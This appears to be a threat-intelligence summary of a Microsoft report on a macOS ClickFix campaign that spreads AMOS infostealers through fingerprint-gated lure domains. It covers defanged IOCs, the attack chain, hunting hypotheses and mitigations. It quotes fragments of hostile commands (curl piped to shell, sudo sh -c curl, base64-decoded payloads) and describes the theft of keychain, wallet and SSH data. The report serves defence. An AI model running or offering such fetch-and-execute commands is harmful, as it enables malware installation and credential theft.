11 minhigh
From open lures to cloaked gates: How a macOS ClickFix campaign learned to hide
Microsoft Threat Intelligence tracked a macOS ClickFix campaign distributing AMOS and MacSync infostealers through 250+ algorithmically named domains. The campaign evolved from openly embedding malicious Terminal commands in HTML to deploying a server-side browser-fingerprinting gate (TDS) that only serves the ClickFix lure to visitors presenting a genuine macOS browser fingerprint, significantly reducing visibility for automated scanners and researchers. The infection chain uses social engineering to trick users into running curl-piped-to-shell commands that download and execute AMOS, which exfiltrates credentials, browser data, and cryptocurrency wallets.
Sens:▲ 24h
Showing defanged values
- domainapplefilevault[.]comClickFix front-end domain hosting fingerprinting gate and macOS lure page
- domainapricotfilepoint[.]comClickFix front-end domain hosting fingerprinting gate; shown in article images serving base64-encoded curl payload
- domainbananafastfile[.]comClickFix front-end domain with 'file' token at end of name
- domaincloudfilebridge[.]comClickFix front-end domain hosting fingerprinting gate
- domaincloudsendhub[.]comClickFix front-end domain that omits the 'file' token entirely but shares infrastructure behavior
- domainfilecedarwallet[.]onlineClickFix front-end domain using .online TLD with file<word><word> pattern
- domainfilecopperbasket[.]sbsClickFix front-end domain following file<word><word> naming pattern, hosting TDS gate
- domainfilecrimsonsignal[.]onlineClickFix front-end domain using .online TLD with file<word><word> pattern
- domainfilemarblegarden[.]sbsClickFix front-end domain following file<word><word> naming pattern, hosting TDS gate
- domainfileoceanhammer[.]sbsClickFix front-end domain following file<word><word> naming pattern, hosting TDS gate
- domainfilerubyfolder[.]sbsClickFix front-end domain confirmed serving ClickFix lure; flagged by Microsoft Defender SmartScreen
- domainfilevelvettractor[.]sbsClickFix front-end domain following file<word><word> naming pattern, hosting TDS gate
- domainlemonfilewave[.]comClickFix front-end domain hosting fingerprinting gate and macOS lure page
- domainlimefilescope[.]comClickFix front-end domain hosting fingerprinting gate and macOS lure page
- domainmangocloudfile[.]comClickFix front-end domain hosting fingerprinting gate; referenced in KQL hunting query
- domainorangesmartfile[.]comClickFix front-end domain with 'file' token at end of name
- domainsyncdatavault[.]comClickFix front-end domain that omits the 'file' token but shares infrastructure behavior
Detection / Hunteropenrouter
What Happened
A group of attackers has been setting up fake websites that trick Mac users into running harmful commands on their computers. The attackers create hundreds of websites with automatically generated names and show users a fake download or verification page that asks them to copy and paste a command into their Mac's Terminal app. Recently, the attackers added a new layer of deception: their websites now check whether the visitor is really using a Mac before showing the fake page. If the website detects a security scanner, research tool, or non-Mac device, it shows a blank or harmless page instead, making it harder for security teams to detect the threat. When a real Mac user falls for the trick, the command downloads and installs malware that steals passwords, browser data, and cryptocurrency wallets. Mac users should be cautious of any website asking them to paste commands into Terminal, and organizations should ensure their security tools can detect this type of activity.
Key Takeaways
- A macOS ClickFix campaign evolved from openly serving malicious Terminal commands in HTML to using a server-side browser-fingerprinting gate that only reveals the lure to genuine macOS browser environments.
- Over 250 algorithmically named domains were identified, many following a file<word><word> naming pattern (e.g., filecopperbasket, filevelvettractor).
- The fingerprinting gate collects browser, hardware (WebGL GPU), timezone, touch, iframe, and anti-analysis signals to filter out crawlers, sandboxes, and researchers before serving the ClickFix lure.
- The infection chain delivers Atomic Stealer (AMOS) or MacSync infostealers via curl-piped-to-shell commands, harvesting credentials, browser data, cryptocurrency wallets, and keychain items.
- Apple macOS 26.4+ introduced a Terminal paste warning that directly mitigates the ClickFix delivery mechanism.
Affected Systems
- macOS systems (all versions targeted; macOS 26.4+ has built-in paste warning mitigation)
- macOS browsers (Safari, Chrome, and others presenting a genuine macOS fingerprint)
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Victim visits an algorithmically named ClickFix domain (e.g., file<word><word>[.]sbs) hosting a server-side fingerprinting gate
- Fingerprinting: Gate collects browser, WebGL GPU, timezone, touch, iframe, and anti-analysis signals; submits fingerprint to server for evaluation
- Victim Selection: Server evaluates fingerprint; genuine macOS browsers receive the ClickFix lure, all others receive blank or benign decoy pages
- Execution: Victim copies and pastes the poisoned Terminal command (curl piped to shell) which retrieves and executes a remote script from a /curl/<id> URL
- Installation: Multiple script stages download and launch Atomic Stealer (AMOS) infostealer
- Collection & Exfiltration: AMOS harvests credentials, browser data, cryptocurrency wallets, keychain items, and SSH keys; exfiltrates via HTTP POST
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: Yes
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: Microsoft Defender XDR, Microsoft Defender for Endpoint, Microsoft Defender SmartScreen, Microsoft Security Copilot
The article provides a KQL advanced hunting query for known-IOC network sweeps using DeviceNetworkEvents, Microsoft Defender XDR behavioral detections (MacOS/SuspAmosExecution, MacOS/SuspOsascriptExec, MacOS/SuspDownloadFileExec, MacOS/SuspInfoExfil, MacOS/SuspKeyChainCopy.AB, MacOS/SuspInfostealExec, MacOS/SuspCredCopy, MacOS/SuspPassSteal), SmartScreen URL blocking, and Security Copilot promptbooks for incident investigation.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | EDR can detect Terminal execution of curl, base64, osascript, and subsequent AMOS behaviors, but the server-side fingerprinting gate may prevent EDR-triggered web content analysis from seeing the actual lure. macOS EDR coverage varies by vendor. |
| Network Visibility | Medium | Network sensors can observe connections to algorithmically named domains and /curl/<id> staging paths, but the TDS gate may return benign content to inspection tools, reducing confidence in URL-based detection alone. |
| Detection Difficulty | Hard | The server-side fingerprinting gate actively evades automated analysis by serving benign content to non-macOS or instrumented environments. Defenders need macOS-specific telemetry and behavioral correlation to detect the full chain, as static content analysis is insufficient. |
Required Log Sources
- DeviceNetworkEvents (DNS resolution, HTTP requests)
- Process execution logs (Terminal, curl, sh, zsh, base64, osascript)
- File creation and modification events
- Keychain access audit logs
- Browser network request logs
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for Terminal sessions that execute curl piped to a shell interpreter shortly after browser activity, as this pattern is consistent with ClickFix delivery | Process execution logs with parent-child relationships and network connection timestamps | Execution | Medium - legitimate developers or power users may pipe curl to shell for legitimate installs, so correlate with domain reputation and timing |
| Consider hunting for DNS queries to domains matching the file<word><word> naming pattern or domains using .sbs TLDs with dictionary-style names, as these may indicate ClickFix infrastructure | DNS query logs or proxy logs | Initial Access | Medium - the naming pattern is a hunting pivot not a signature; validate with additional signals like the fingerprinting gate behavior |
| Consider hunting for HTTP requests containing /curl/<hex-id> path patterns to newly registered or low-reputation domains, as these serve as staging URLs in the infection chain | Proxy logs, web gateway logs, or EDR network events | Ingress Tool Transfer | Low to Medium - this path pattern is unusual for legitimate services but could appear in custom applications |
| Consider hunting for processes that access keychain databases, browser credential stores, or cryptocurrency wallet files shortly after suspicious script execution, as this indicates AMOS data collection | File access audit logs, EDR file access events, macOS Endpoint Security framework events | Collection | Low - legitimate password manager or browser auto-fill activity may trigger, but correlation with prior suspicious execution reduces false positives |
| Consider hunting for web pages that silently POST fingerprint data containing a mode:php parameter back to the same origin, as this is characteristic of the TDS gate described in this campaign | Web proxy logs with POST body inspection, or browser extension-based telemetry | Initial Access | Medium - legitimate anti-bot and anti-fraud systems use similar fingerprinting techniques; correlate with domain age and naming pattern |
Control Gaps
- Static URL scanners and content analysis tools that do not execute JavaScript will see only a blank or benign page from the TDS gate
- Sandbox environments that fail WebGL or timezone fingerprinting checks will receive decoy content instead of the ClickFix lure
- Traditional signature-based AV may miss AMOS delivery since execution begins from a user-run Terminal command rather than a downloaded app bundle, bypassing quarantine and notarization checks
- Network-only detection may identify the domain but cannot confirm malicious intent due to server-side conditional content delivery
Key Behavioral Indicators
- Terminal process spawning curl piped to sh or zsh, especially with base64 decode operations
- Sequences of macOS utilities: curl | zsh, base64 -d, xattr -c followed by chmod +x
- osascript execution shortly after curl download activity
- Creation of archives containing sensitive artifacts (keychain, browser data, SSH keys) followed by HTTP POST exfiltration
- DNS queries to domains matching file<word><word> pattern with .sbs or .online TLDs
- HTTP requests with /curl/<hex-id> path patterns to newly registered domains
- Self-submitting hidden forms containing fingerprint data with mode:php parameter
False Positive Assessment
Medium - The fingerprinting techniques (browser profiling, WebGL checks, timezone validation) are also used by legitimate anti-bot and anti-fraud systems. The file<word><word> domain naming pattern is a hunting pivot, not a definitive signature. Process-based detections for curl piped to shell may trigger on legitimate developer activity. Correlating multiple signals (domain pattern, TDS gate behavior, process sequences, and timing relative to web browsing) is necessary to reduce false positives.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking the identified ClickFix domains at your web gateway, DNS resolver, or firewall, prioritizing shared back-end staging hosts over individual disposable front-end domains.
- If your EDR supports macOS behavioral detection, consider enabling or verifying alerts for Terminal spawning curl, base64, gunzip, or osascript, particularly when initiated shortly after web browsing activity.
- Consider alerting on unusual sequences of macOS utilities such as curl piped to zsh, base64 -d, and xattr -c immediately preceding chmod +x, if your endpoint telemetry supports process correlation.
- If applicable, evaluate whether your macOS fleet is running macOS 26.4 or later to benefit from Apple's built-in Terminal paste warning for potentially malicious commands.
Infrastructure Hardening
- Consider implementing DNS filtering or sinkholing for domains matching the file<word><word> naming pattern, treating it as a hunting pivot rather than a strict signature.
- Evaluate whether your web proxy or next-gen firewall can inspect and block outbound curl activity retrieving encoded or compressed payloads from newly registered or low-reputation domains.
- If your organization supports macOS, consider deploying or verifying EDR coverage that includes keychain access monitoring, browser credential database access detection, and cryptocurrency wallet file access alerts.
- Consider monitoring for HTTP POST exfiltration patterns following the creation of archives containing sensitive artifacts.
User Protection
- Consider deploying Microsoft Defender SmartScreen or equivalent browser-based protection that can block known ClickFix landing pages before users interact with them.
- If your EDR supports host isolation, consider pre-configuring isolation policies for macOS endpoints exhibiting AMOS execution behaviors to prevent data exfiltration.
- Evaluate whether your endpoint protection can detect and block unauthorized access to keychain items, browser credential databases, SSH keys, and cryptocurrency wallet data.
Security Awareness
- Consider reinforcing in existing awareness programs that no legitimate download, CAPTCHA, or verification step requires pasting a command into Terminal.
- Consider adding ClickFix-specific guidance to security awareness training, emphasizing that attackers use fake software update pages, download errors, and CAPTCHA verifications as lures.
- If applicable to your organization, consider advising users that GitHub-themed download pages may be spoofed and do not indicate a compromise of GitHub itself.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping7 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Credential Access
Tactic
Collection
Tactic
Command and Control
Tactic
Exfiltration
Additional IOCs
- Domains:
apricotfilepoint[.]com- ClickFix front-end domain hosting fingerprinting gate; shown in article images serving base64-encoded curl payloadbananafastfile[.]com- ClickFix front-end domain with 'file' token at end of namecloudfilebridge[.]com- ClickFix front-end domain hosting fingerprinting gatefilecedarwallet[.]online- ClickFix front-end domain using .online TLD with file<word><word> patternfilecrimsonsignal[.]online- ClickFix front-end domain using .online TLD with file<word><word> patternorangesmartfile[.]com- ClickFix front-end domain with 'file' token at end of namecloudsendhub[.]com- ClickFix front-end domain that omits the 'file' token entirely but shares infrastructure behavior
- Command Lines:
- Purpose: Download and execute a base64-decoded remote payload via curl piped to shell | Tools:
curl,echo,base64| Stage: Execution |curl -s $(echo - Purpose: Execute remote script as root via curl piped to sh | Tools:
sudo,sh,curl| Stage: Execution |sudo sh -c "curl
- Purpose: Download and execute a base64-decoded remote payload via curl piped to shell | Tools:
